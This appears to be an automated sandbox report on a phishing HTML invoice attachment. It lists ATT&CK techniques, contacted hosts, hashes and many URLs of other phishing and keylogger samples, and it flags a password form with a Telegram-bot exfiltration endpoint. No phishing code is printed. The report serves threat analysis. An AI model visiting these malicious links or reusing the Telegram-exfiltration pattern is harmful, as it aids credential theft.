Binary or memory string: <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAQCAYAAAAiYZ4HAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo4ODUyQzFBRENCNDUxMUU0ODNDNEM4QkFFQUYzRUQ0RCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo4ODUyQzFBRUNCNDUxMUU0ODNDNEM4QkFFQUYzRUQ0RCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjg4NTJDMUFCQ0I0NTExRTQ4M0M0QzhCQUVBRjNFRDREIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjg4NTJDMUFDQ0I0NTExRTQ4M0M0QzhCQUVBRjNFRDREIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+ZWB7EgAAARdJREFUeNqM0k1KA0EQhuGKDv6MCHHlUhQvIIIJUURcGnARAiEIXkDPoOCRNGJ27kRxJ64SvICIEHSjiO1b+jVpgz8peDJDTX3TM52xEIIlKjjFg7RQTmfS4aaG9rAg++o14lzhM2U2gy62UEYRBTziGidYRC/efRfH2EAtWbWOdT3ajvdG7KvmcIsKWtYvv/MqbjDvjRgYxSvGdIz1gnH1MtOPJ0uY1tCEfa81HZ981l+6o6Xv7e+a9U3xQNCODFPht8C2X9TKQwV6ChR/Crxxkg/szrkCm0nPd+vZ/5w7rAx8U0uS9vyb6voKRySXUf3nhdu48OQUrnCGErLkrpl6bVwijxdyHPqSeA/98vMODjDpsx8CDAAGTiZljTmwIQAAAABJRU5ErkJggg=='>

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://code.jquery.com/jquery-3.2.1.slim.min.js	0%	URL Reputation	safe
http://jqueryui.com	0%	URL Reputation	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	0%	URL Reputation	safe
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	0%	URL Reputation	safe
http://opensource.org/licenses/MIT).	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html	0%	Avira URL Cloud	safe
http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	unknown
www.google.com	172.217.23.100	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	URL Reputation: safe	unknown
file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html	true	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	URL Reputation: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	URL Reputation: safe	unknown
http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1	chromecache_100.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_90.2.dr, chromecache_98.2.dr, chromecache_96.2.dr, chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	Proforma.Invoice.Payment.$$.html	true	Avira URL Cloud: safe	unknown
https://getbootstrap.com)	chromecache_90.2.dr, chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
http://jqueryui.com	chromecache_100.2.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_90.2.dr, chromecache_98.2.dr, chromecache_96.2.dr, chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_103.2.dr, chromecache_99.2.dr	false	URL Reputation: safe	unknown
https://getbootstrap.com/)	chromecache_98.2.dr, chromecache_96.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.23.100	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16
192.168.2.18
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500488
Start date and time:	2024-08-28 15:07:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Proforma.Invoice.Payment.$$.html
Detection:	MAL
Classification:	mal56.phis.winHTML@24/36@22/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 142.250.186.174, 108.177.15.84, 142.250.184.202, 142.250.181.234, 142.250.184.234, 34.104.35.123, 216.58.206.74, 142.250.185.138, 142.250.185.67, 142.250.185.202, 142.250.74.202, 142.250.185.106, 142.250.186.42, 142.250.186.106, 172.217.16.138, 142.250.185.170, 142.250.186.170, 142.250.185.234, 142.250.186.74, 172.217.18.10, 216.58.212.170, 199.232.210.172, 192.229.221.95, 142.250.74.195, 142.250.185.142
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Proforma.Invoice.Payment.$$.html

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
151.101.194.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://tekrollindustrial.com.br/wp-includes/kr.html#kh.jang@hyundaimovex.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://pub-10050726d25949d8bd6cb438a8b6b09c.r2.dev/home.html	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://pub-4fc2ac5871b646109dbe90ceb8933125.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://signupesports.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://ibailey.cl/web1.plala.or.jp/plala.or.jps/index.html	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://12dec6c2-3c78-e425-b87e-b20197f5da10.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://bgmi-claimxrewards.com/god/126/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	crewssubaru doc.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://tinyurl.com/3bfs8z6z	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
code.jquery.com	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://nr-srpack-dk-payment-conformations.fushenq.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://pub-78727057140540a199a7e00bf238a392.r2.dev/index.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://pub-85c8ac492a5e41d7b0fad25337aa69f6.r2.dev/index.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://autoiothiatowers.web.app/0.05389702077273273	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://pub-4fc2ac5871b646109dbe90ceb8933125.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.unitek-products.com/products/1-5m-hdmi-v2-1-cable	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://pub-21c884f4185d4edab04434d00584ab27.r2.dev/index.html	Get hash	malicious	Unknown	Browse	151.101.2.137
maxcdn.bootstrapcdn.com	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://tekrollindustrial.com.br/wp-includes/kr.html#kh.jang@hyundaimovex.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://autoiothiatowers.web.app/0.05389702077273273	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://pub-4fc2ac5871b646109dbe90ceb8933125.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://ibailey.cl/web1.plala.or.jp/plala.or.jps/index.html	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://12dec6c2-3c78-e425-b87e-b20197f5da10.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://email-10.moengage.com/v1/emailclick?q=J9hmu1r6QKZrUydA7M0LhmLQ5i7Dg0Nl6MHK33dlRRiHDGLaUmrV29w-y9KVmRzhTLgNQhsm45GxW8V8xKrQoKNDHjB7CRmg_1cweH.uPLe.3eHt_gc8HUYJyNafgEERmJL2LxAT8X7OcG6eGtfAfBO9PAxgYyMwORkMW2Shu_8EgxVomZ4n5YVrJ6BeKFaCmD6d2Q4-0na_EglsL0Brj6yR2v6QG0HeFNJCVHWIDqcMyqe_r88-cETjiVnbQ8n6AdsU8zQ3H7iztnEZXRzETHYdGTm5hvYgsr5Sg7bkrF81eht6fM_e-ibIZP2oMLvBT1zWn_xe_wasEim1gTvVJRTqev1AuuHjN-EARFMZfriSXRqAx2EgGZLcoc2EiPI4kOQISdubWyzK9Xtj10aCP_wAt6KxwJRnrrWNRvn3blBJWnngxtQFXjDGd_qwCgdLvQwPLy5R0skEjnG0HC7MA#V2xjMVEyVlhTWHBSYlhocVRVVktkbGRXWkRSak1XdDVUMVJHYVdKc1NURlVSekExWlZad00xQlVNRDA9	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	phish_alert_iocp_v1.4.48 (39).eml	Get hash	malicious	Tycoon2FA	Browse	104.18.11.207
	phish_alert_iocp_v1.4.48 (38).eml	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://journalscene.secondstreetapp.com/api/organization_user_email_verifications?token=npv0kjeneci&opid=1033948&lrt=rmsqe55tykx&bf=bc07ae1cf7bbffb3bcd5bc7a10f031b8&ip=207.144.57.39&redirect=https://unsus3.ru/oth/chameleon/#mloomans@securustech.net	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
cdnjs.cloudflare.com	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://redtrain.top/offiperry?login=sarah.bourke@zendesk.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://nr-srpack-dk-payment-conformations.fushenq.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://conrasty.pro/rd/4GZfNu661Wcuf128ryymsulvqg219KJAPMAHPZPNXNLR15619WARW973R13	Get hash	malicious	Phisher	Browse	104.17.24.14
	http://conrasty.pro/rd/4GZfNu661Wcuf128ryymsulvqg219KJAPMAHPZPNXNLR15619WARW973R13	Get hash	malicious	Phisher	Browse	104.17.25.14
	Remittance_Details_#20O8N7B.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://en.aiacademy.tw	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://tekrollindustrial.com.br/wp-includes/kr.html#kh.jang@hyundaimovex.com	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://hattenforlag.se	Get hash	malicious	Unknown	Browse	104.18.95.41
	eicar-adobe-acrobat-attachment.pdf	Get hash	malicious	EICAR	Browse	172.64.41.3
	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	1C24TDH_00017388.pdf.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	https://imgsservices.ie/HKMrD4Ztldw5uNaEW+73vcXrOWrXKBdxzI6PlBN7c7tj36QVE2qq8Fre1ethXlQS0Vdpjcl0fxXxUC+1VOEPDBkl6fYgX98xRZi20xNpiMSAubKqaA8uQ6NtDDF1dx/7dYKqtrNpV+Y15SGmlgeflGQdz4P/aOce+Br9ePe5jp8=	Get hash	malicious	Unknown	Browse	104.21.70.214
	df24c9ca-d50b-c720-84ed-638e99f68d75.eml	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://bestlerdierholensie.bekomme-es.digital/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.167
	http://pragatihandicrafts.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	18__ e_t___s#U00b5__ 2,6_ G___F____ _._.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
FASTLYUS	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://silverangelshomes.com/res444.php?4-68747470733a2f2f684a456d2e6c64656e626572616e2e636f6d2f4d33306830536a4f2f-	Get hash	malicious	HTMLPhisher	Browse	199.232.188.84
	https://nr-srpack-dk-payment-conformations.fushenq.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	CXWk52EmUt.exe	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	151.101.65.44
	run.exe	Get hash	malicious	Crypto Miner	Browse	185.199.111.133
	https://www.wpspublish.com/customer/account/createPassword/?id=28732&token=k5FPAv4ZQlJ0DbFv9HIliRQV9FN7ztvs	Get hash	malicious	Unknown	Browse	199.232.188.84
	http://wpspublish.com	Get hash	malicious	Unknown	Browse	151.101.2.132
CLOUDFLARENETUS	https://hattenforlag.se	Get hash	malicious	Unknown	Browse	104.18.95.41
	eicar-adobe-acrobat-attachment.pdf	Get hash	malicious	EICAR	Browse	172.64.41.3
	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	1C24TDH_00017388.pdf.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	https://imgsservices.ie/HKMrD4Ztldw5uNaEW+73vcXrOWrXKBdxzI6PlBN7c7tj36QVE2qq8Fre1ethXlQS0Vdpjcl0fxXxUC+1VOEPDBkl6fYgX98xRZi20xNpiMSAubKqaA8uQ6NtDDF1dx/7dYKqtrNpV+Y15SGmlgeflGQdz4P/aOce+Br9ePe5jp8=	Get hash	malicious	Unknown	Browse	104.21.70.214
	df24c9ca-d50b-c720-84ed-638e99f68d75.eml	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://bestlerdierholensie.bekomme-es.digital/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.167
	http://pragatihandicrafts.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	18__ e_t___s#U00b5__ 2,6_ G___F____ _._.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
FASTLYUS	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://silverangelshomes.com/res444.php?4-68747470733a2f2f684a456d2e6c64656e626572616e2e636f6d2f4d33306830536a4f2f-	Get hash	malicious	HTMLPhisher	Browse	199.232.188.84
	https://nr-srpack-dk-payment-conformations.fushenq.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	CXWk52EmUt.exe	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	151.101.65.44
	run.exe	Get hash	malicious	Crypto Miner	Browse	185.199.111.133
	https://www.wpspublish.com/customer/account/createPassword/?id=28732&token=k5FPAv4ZQlJ0DbFv9HIliRQV9FN7ztvs	Get hash	malicious	Unknown	Browse	199.232.188.84
	http://wpspublish.com	Get hash	malicious	Unknown	Browse	151.101.2.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://hattenforlag.se	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	https://pharmakon-my.sharepoint.com/:f:/g/personal/338im_apoteket_dk/Eq4jY345UJRKi6ZZAILr_qwBOqxx0J6kY0J-kac06geioQ?e=XPAoa6%20pharmakon-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	https://imgsservices.ie/HKMrD4Ztldw5uNaEW+73vcXrOWrXKBdxzI6PlBN7c7tj36QVE2qq8Fre1ethXlQS0Vdpjcl0fxXxUC+1VOEPDBkl6fYgX98xRZi20xNpiMSAubKqaA8uQ6NtDDF1dx/7dYKqtrNpV+Y15SGmlgeflGQdz4P/aOce+Br9ePe5jp8=	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	https://zngw.officeinvoicedoc.com/DhpuI	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	file.exe	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	https://silverangelshomes.com/res444.php?4-68747470733a2f2f684a456d2e6c64656e626572616e2e636f6d2f4d33306830536a4f2f-	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	https://interprimesolutions.com/imp/ns/?hg=vndankxgbdow&vn=ujdgsmfdd2RjQGFsLmNvbQ=	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	file.exe	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	https://urlsand.esvalabs.com/?u=https%3A%2F%2Flinkin.bio%2Falbatros&e=606d87ee&h=dea68a16&f=y&p=y	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 12:08:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.973976511088119
Encrypted:	false
SSDEEP:	48:8HoSdwT0onH2ZidAKZdA19ehwiZUklqehHy+3:8HOvWroy
MD5:	65463BAE614B5656F1C80BB0D072CF05
SHA1:	731752857D3103E61E77CDD3DCF9F244CBDA5ACD
SHA-256:	C70237673F499EB2C22542E81F1CC1D9E6DAF762C3945BD7EC90EDFAE4305FC8
SHA-512:	12824BC3FD100EA75DB67445E257A2424C3F0759C4FB34315A55817B7FB30DEC457F2019D286A75EF21DB960DD2FAAA56CB2EFC5D0F470D006D48DEAEDA84CF6
Malicious:	false
Reputation:	low
